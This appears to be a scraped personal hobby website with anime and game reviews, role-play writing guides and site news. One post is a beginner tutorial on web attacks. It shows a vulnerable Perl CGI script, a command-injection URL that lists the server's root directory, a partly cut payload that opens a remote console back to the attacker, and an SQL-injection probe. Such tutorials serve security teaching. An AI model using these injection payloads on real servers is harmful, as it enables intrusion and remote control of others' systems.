KatoWeb
KatoWeb Rev. 3
Herre it comes, KatoWeb Rev. (Revision) 3 is coming soon. With a full overhaul, and a redesign of some of the base functions to up the page load time, and fixing a few security flaws.
In the meantime.. Stay tuned for updates.
KatoWeb XLA Rev. 4
Well here it comes people, It's been awhile since I have last updated, as you can notice, I don't spend a lot of time talking to you people. (Wait, does anyone actually read this?)
But in any case, I like to inform those who actually, care. If anyone actually does come around. I'm still in the development stages of the website, or still pursuing it around, without a real plan.
So, could any way throw me a few ideas, I'll be happy to look over them.
On the main note, of this topic. XLA Rev. 4 is coming out, a complete rewrite of the back-end is underway, it has been for awhile, but more or less ideas and such. I wish to cleanup the code, and improve a few aspects.
So good luck! And I love to keep you all posted. Those who actually read.
Anime Review: Kyou Kara Maou.
One thing to say about this, or what you should know, this one is really good. I suppose, it's not, mind blowing. But, in my opinion, it's pretty decent and well put constructed.
It starts out with the plot, of Yuuri, your average Japanese high school kid. Typical anime plot, but minding that. The anime is fairly decent, although I'm not so so sure what to say in the later episodes.
SPOILER!
The anime starts out at first quite inconsistent, it has a bit of comedy in it, Yuuri the main character decides to muster some courage to speak against a bunch of kids surrounding another one.
Despite Yuuri's own discomfort, or rather lack of thinking of the consequences, he simply doesn't take it to hurt by much. The group of kids, move into the womans restroom and I believe the term is a swirly, but I have no idea. They put his head in the toilet and flush it.
But poor Yuuri finds himself that the toilet has a black hole in it, with one fell flush he is thrown for a loop, tossed into another dimension, or another world for that matter.
This world, is of the Mazoku's origin. The other world is based in the times of swords and sorcery, it has a few quite good ideas, and a recycled ones.
So I'd likely give it a five second watch, or a few episodes to see if you like it. I like.
(If I'm forced to rate it.) 7 Out of 10. That's a decent scale, this anime is rather hit and miss for me, but it's a pleasant watch, and has over 130 episodes to watch.
Webhosting Slots
I have only one more slot in my webhost left for another person, dns wise. Unless you have a dns, I'll gladly offer up some free webhosting to anyone, however. You do need to prove your personal worth for it, or make my time for it, state your usages for it, etc. I'm fully willing to go out of my way to do these things, there is also the ethics of trusting somebody.
The Gazing
Sometime tonight a story will be posted called "The Gazing". Hope to enjoy somebody to read it. It's a relatively short story in the Forgotten Steps universe.
Layout updating
The forum layout is being changed and updated, you'll notice a few flunky things here and there. I'm just getting back to updating and managing stuff.
Game Reviews: Collection 1
Game Reviews: [5]
[SNES Reviews]
Kirby Super Star:
Come on, you expect me not to do a game I as a child played? and still enjoy even today? Kirby Super Stars was a game made in the 90s for the Super SNES, It pretty much captured my heart for the world of creativity, being made by HAL Laboratory, it reaks of success.
Kirby Super Star is filled with colorful graphics images and is multi-player, with side scrolling action, even with nearly decades old, it still is fun and enjoyable to play with a friend. It's got a real punch to it, while it does have it's "Small spots" of problems, the game it's self is pretty amazing, many people may even agree, but agree with me just yet, we all have different views, different perspectives. Take a look for yourself.
Front Mission:
Front Mission for the SNES was released in Japan on the Super Famicon, by looking for a translated version I was able to play it and have some fun.
The game is pretty enjoyable, it plays out how you would think Final Fantasy Tactics would, or Ogre tactics, but slightly different, it was an overhead tactical strategy game. It was fun and enjoyable, but at times slow and difficult, it caused many frustrations, but overall it was heartwarming to beat it for me. I can't say much for it, that it's worth wasting time on, if you have the taste for tactical strategy rpg games that use mechs. I forgot to mention, front mission has mechs.
Front Mission: Gunhazard.
This is a spin off of the first Front Mission, It's a sidescroller unlike the first being a tactical game, you can customize your mecha and change around weapons, the game is long, but easy. Filled with challenges, it's another game that was translated into English via rom/translation group. Not much to say, but it was pretty enjoyable story, if not a bit lacking. I was surprised at every corner late game.
Sometimes confused, maybe, because I'm a normal human. Admitting I am human is one step closer to reality, but nobody wants that.
Secret of Mana:
I don't have to say much about this game, many of us know about it, after all, it's a beautiful game that allows upto 3 players. You can't go wrong here, Playing with a friend or buddy makes it all the more enjoyable of not having to multi-tasking for 3 characters, but often annoying when your buddy moves to cast skills, causing the game to pause.
Legend of Zelda: Link to the past:
Pretty boring, I figured for a popular game, it wouldn't have bore'd me, Link's awakening was way more fun then this hands down and more difficult, Link to the past was just, pretty wimpy. You know?
[youtube:2exok7fg]XwF-4Fo3EDA[/youtube:2exok7fg]
Final Fantasy V:
I have yet to complete this, eh so give me some time.
How to Internet Role-play
This is a continued article from my previous one.
This is heavily influenced by my opinion, so feel free to interpret how you like.
In this edition of who wants to be a mi- Right.. wrong mindset. Let's get down to work here, there is one simple law, let's teach you how to role-play,often I do think I went over it in my last post, but I didn't explain it quite as much as I should.
1. CLOSED ROLE-PLAYING
Closed world role-playing is where everything is controlled by one or two ultimate gods, they narrate and dictate how your shitty lives turn out. This is an okay system.
However, be warned that closed is limited and requires you to play characters made from another writer in most cases. Let me tell you what is wrong with this, itry to keep in mind, closed role-playing requires a decent plot, and a bit of freedom to be quite enjoyable, I understand a closed-universe exists only once, or even more then that, they are often considered non-recycle, and playthrough from the exact or similar points.
However, closed normally disallows character importing, but what makes a closed world is their narrator, their god.
2. OPEN Role-playing
Open I have explained once before, but allow me again. The open universe allows one to import and carry their characters, normally, however each universe closed or open has rules and base laws, fundamentally that can't be broken at all.
But in open, it is more lenient and allows for any player to step in as god, the thing about open environments, the player can freely use their own character and control the plot, this is most enjoyable for those who enjoy interaction by all parties. Open is mostly a universe, which is capable of being used, open lacks a plot or idea, unless given.. It's a record of history and data accumulated, often open universes are considered the default for many. While closed it's opposite can be said the same.
3. What is a Narrator, DM, God? How should I play it?
The narrator, god, or DM have the most responsible roles. If your playing to tell the story, I recommend that you listen well, the narrator should use THIRD person methods to communicate with others.
A few words should NEVER be used, the DM is responsible for being poetic or showing beauty in words, as your word is god, you must make it readable, you don't know how much it stresses me to see somebody pull lines like this in a post, as a narrator "Bob: Hey Jill Jill: Sup Bob " Yeah.. with no separation or organization, I kinda wish people would use the token style role-playing like I do.
-Jack crossed his fingers in hope, feeling the damp misty wind howl and whirl upon him, his hopes were stable, dreaming of his family, he took his time to shake his head, escaping reality had overcame him, looking to his friend Jill with a nod and smiled "Heya Jill, whats going?" Jill replied with a deep smile, radiating a certain feeling, it had put Jack at ease, but that ease shattered when Bob came in as Jill replied "Doing good, me and Bob got together." In the back of his mind, Jack had lost his trophy, the one he loved without words, taken without knowledge, he pleaded inside of his mind, if only he had acted sooner.-
Of course, it shouldn't look like that, but See the organized use of tokens and quotation marks? This is what I'm talking about.
4. How to create a character for open
Heres a little thing you might enjoy. Creating a character is the most important thing, either for open or closed in your preference, creating a character is like a symbolic icon of yourself, a character which is your main, represents you who you are.
Try to develop a character you'd have fun being, be it either a total badass, or an asshole. Whatever satisfies you. The character is supposed to be a spiritual representation of you, however in most cases, this slides.
A character can be superman if you want it, but try to be original, for the sake of all that is holy. Try to make something thats not from something as iconic as a super hero from some comic. A character can also be a normal person be it that you like that.
Each person and character has their own perks to exist, we all have what we like, and we all have our tastes.
Try to design something, write a description, write it beautiful several times in your head, and maybe down on paper or onto the computer, try to let your thoughts free, and create, create, create.
5. How to role-play (SPECIFICS)
This will cover a specifics section
Web Exploits - Attack and Defence - URL Basics
Was told to write something. So, since most of the stuff I usually write articles about is over most people's heads, I decided on something simple for once.
World Wide Web
The world wide web (www). It's an application layer consisting of web servers (Apache, ISS), web browsers (IE, Firefox), web caches (Squid, etc) and other junk that runs on top of the Internet. Important point. The web runs on the internet - the web is NOT the internet.
This is important because the class of attacks you can use on each layer is different.
In this article, I am focusing solely on the www layer. Attacks shall only use HTTP, with the exception of client-side plugins such as JavaScript.
Now that's done, let's get started.
Case Study - URLs
A DVD-rental website called for a security audit, because of recent attacks. (Names undisclosed and images faked to protect innocent parties.)
So, what's the first thing I did? Fire up my browser and hit their main page.
The URL was:
http://www.example.com/index.pl?file=root.dhtml
Looking at this URI, notice several things:
.pl - the web programmer used the Perl CGI.
root.dhtml - the programmer uses Dynamic HTML, indicated in the name (and it's a stupid thing to do, imo, to use the dhtml extension. That's sooo year 2002.)
?file=root.dhtml - the CGI program uses parameters passed in from a GET method.
I then accessed:
http://www.example.com/root.dhtml
and was presented with a slightly broken version of the earlier page.
From this, I can hazard a guess that "index.pl" most likely outputs headers and footers, then inserts the page's content in between, as that is normal for a web programmer to do.
Of course, if the programmer didn't preform adequate validation on the parameters passed onto the CGI program, I could access arbitary files on the system. I tested it out.
http://www.example.com/index.pl?file=index.pl
This URI displayed the source code of the index.pl file, showing that the programmer hadn't thought about adequate protection.
The (modified) source code I was presented with was:
#!/usr/bin/perl
require "./includes.pl";
&ReadParams(*input);
$filename = $input{page} ;
if($filename eq "")
$filename = "root.dhtml";
print &PrintHeader;
$filename = "./" . $filename;
open(FILE, $filename);
while(<FILE>) {
print $_;
}
close(FILE);
Absolutely no protection.
Personally, since I knew Perl, I know what the open() function can do. I can now execute arbitrary commands on the webserver.
For example,
http://www.example.com/index.pl?file=|ls+-la+/
Listed all the files in the root directory in long format, similar to this:
total 42349
drwxrwxr-t 33 root admin 1190 20 Aug 10:57 .
drwxrwxr-t 33 root admin 1190 20 Aug 10:57 ..
drwx------ 3 root admin 102 21 May 11:33 .Spotlight-V100
d-wx-wx-wt 2 root admin 68 21 May 11:40 .Trashes
-rw-r--r-- 1 root admin 0 21 May 10:23 .com.apple.timemachine.supported
-rw------- 1 root wheel 458752 13 Sep 08:01 .hotfiles.btree
drwxr-xr-x@ 2 root wheel 68 31 May 2008 .vol
drwxrwxr-x+ 47 root admin 1598 12 Sep 10:01 Applications
drwxrwxr-x@ 17 root admin 578 22 Jul 10:15 Developer
drwxrwxr-t+ 55 root admin 1870 10 Aug 14:28 Library
drwxr-xr-x@ 2 root wheel 68 12 Sep 2008 Network
drwxr-xr-x 4 root wheel 136 19 Aug 10:30 System
drwxr-xr-x 5 root admin 170 11 Jul 19:57 Users
drwxrwxrwt@ 3 root admin 102 14 Sep 08:41 Volumes
drwxr-xr-x@ 40 root wheel 1360 19 Aug 10:27 bin
drwxrwxr-t@ 2 root admin 68 12 Sep 2008 cores
dr-xr-xr-x 2 root wheel 512 14 Sep 08:41 dev
lrwxr-xr-x@ 1 root admin 11 21 May 10:28 etc -> private/etc
dr-xr-xr-x 2 root wheel 1 14 Sep 08:41 home
-rw-r--r--@ 1 root wheel 10367028 16 Jul 00:57 mach_kernel
-rw-r--r--@ 1 root wheel 10822172 16 Jul 00:57 mach_kernel.ctfsys
dr-xr-xr-x 2 root wheel 1 14 Sep 08:41 net
drwxr-xr-x 3 root admin 102 9 Aug 05:05 opt
drwxr-xr-x@ 6 root wheel 204 21 May 10:31 private
drwxr-xr-x@ 66 root wheel 2244 19 Aug 10:27 sbin
lrwxr-xr-x@ 1 root admin 11 21 May 10:28 tmp -> private/tmp
drwxr-xr-x@ 12 root wheel 408 12 Jul 01:41 usr
lrwxr-xr-x@ 1 root admin 11 21 May 10:28 var -> private/var
Ah! So it is a Unix system at least. If you knew your Unixen well, you would recognize it as Mac OS. Yes, you actually get Mac OS web servers around, I hear that the Mac Minis make good servers.
Arbitrary commands include... opening a console connection back to my computer.
http://www.example.com/index.pl?file=|x ... ss:0.0+%26
Which gives me a window that looks something like this:
Wheee..... Okay, I realise that this is more like utilizing the shell from CGI than HTTP exploits, but meh.
Case Study - Database
Consider another URL:
http://www.example.com/webcart/viewitem.php?id=21
PHP scripting language, GET parameter in URI, etc, etc, etc.
PHP outputs debugging output (if not disabled) whenever this is an error in a script. The laziest way to check for a db connection on such a server is to send junk as params. For example:
http://www.example.com/webcart/viewitem.php?id='
That URL doesn't make any sense. It resulted in output similar to this:
Warning: Supplied argument is not a valid MySQL result resource in /path/to/htdocs/webcart/viewitem.php on line 42
So, now I know the webserver is using MySQL as a back-end database server, pretty nify, eh?
I is lazy because I has programs to write. I completes this later.
Internet roleplaying [Article?]
It's come to my attention, being an elitist role player, others actually find role playing quite disgusting.
Maybe they were exposed to some factor I have yet to fully grasp myself, however. this is not excuse for humans like ourselves.
This is a do's and don'ts of role playing a guide made for the dumb ass and experienced user alike.
1. What is role playing?
Role playing is EXACTLY like acting. Very few people get the concept of an rpg, is where you play the role of the hero.
You are acting the role of yourself, or another. Portraying a persona is best, often creating extensions of yourself create the better result in the end. So, role playing has nothing to do with those furre's and their yiff, and humans with their cybering. It has nothing to do with it.
Role playing CAN however be used in situations as this. Because for a furry, they are role-playing as a furre, rather then human when they conceive internet communication acts which can be seen as sexual.
The same can apply to the humans, who see themselves as well, normal people. A person can change the way they act role-playing they are role-playing as another persona. role-playing can be very in depth, and it is a form of acting after all.
2. Why should I role-play?
Why not? I mean the world is a vass place, read a book, learn to imagine. Bend the walls of reality, converse with others sharing ones intelligence and creative mind creates a flow of opportunities. Stop with the complaining.
Internet role-playing is one of the most well known ways to express one's creative ways over forms of text. While, you have your artists who can express themselves through their own means. True role-players, or others alike, share a common behavior, a calm idea.
You don't need to want to change yourself, you simply want to express yourself, expressing rage, and your violent tendencies to release your inner inhibitions which may later result in other acts.
Role-playing can express one to do things and then later help them relieve stress. However the same cannot be said to all of us. Some for it even furthers that stress, or releases the desire to commit acts which may be disliked by society, often a form of rejection.
A desire to be a writer in my future, I seek to understand my own emotions enough to write them down, and express them freely.
Try to get in touch with sides of you, you never considered, try to speak to your inner-child, and your feelings that you have long since forgotten, free yourself into a world that you dream, be it either depressing, or jaw-dropping.
3. How do I role-play?
You want to role-play? Fine by me, there is a set of things, role-playing is something picky for some. So grabbing some music to surround you often eludes distractions for those who need to pull out their potential completely, while others will remain an idle state.
Role-playing isn't about sexual activities or fighting. It can be about general things, anyone of all ages, from children to adults can associate and learn in this act, many carry their preference to describing posts. Below is an example of how I would give a pos of me fighting someone.
-Aona rose from the rubble, her clothes tattered and ripped from the brutal fighting, the blood from her body would simply flow from the wounds down her wounded arm, with a quick step, she took her left hand gripping at her blade to make a final leap and slash, leaping for her opponent as she swung downwards at them.-
See how it doesn't actually do anything, the post just delivers the actual medium needed to create another, when another joins in, the fight becomes complete. While the example is of fighting, role-playing is abused and used with often the disguised pretense of sexual relations.
While this is true, and many role-players do engage in this kind of thing, it's not what it is. There are general relations, often fighting is a fodder point to make it continue, role-playing can simply be communicating as someone not yourself. Pretending- no, becoming the persona you represent is key to things like this.
General rp'ing uses an action tag, and to give an example of socialization with dialog. Let's give you a healthy example.
-Aona grasped at the clear glass in front of her, tilting the glass side to side as the liquid rotates around the glass grazing the rim as she sipped it "You know, this water isn't half bad." Aona mentions, taking it into mind, as she adjusts her posture as she chugs the glass, setting the empty glass before here. "Got anymore water?"-
Often you might say, the - between the text initiates it's an action, others prefer = or *, depending on your coordination with a keyboard and which is easier for you to do, then go with it.
5. What else is there?
Experience, there is so many things that can't be said in role-playing. One has to experience and learn for themselves. Obeying rules and trying not to "Become God" is the most known rule, you can not play god and manipulate others actions, or their characters, unless the opposing party has greed that you may do this to their characters.
It is the most polite action to take as well.
Welcome
The forum is finally setup, and I think I finally got my link in, after all. While things like that are in place, let's hope everything else goes as smoothly, it took me awhile to link the forum and front page together, using a bit of my almost awesome skills. (Obviously not.) I've managed to get things to popup on the frontpage. Very cool 
Let's just hope it works, It has a bit of debugging to do.
UID TEST
Welcome to phpBB3
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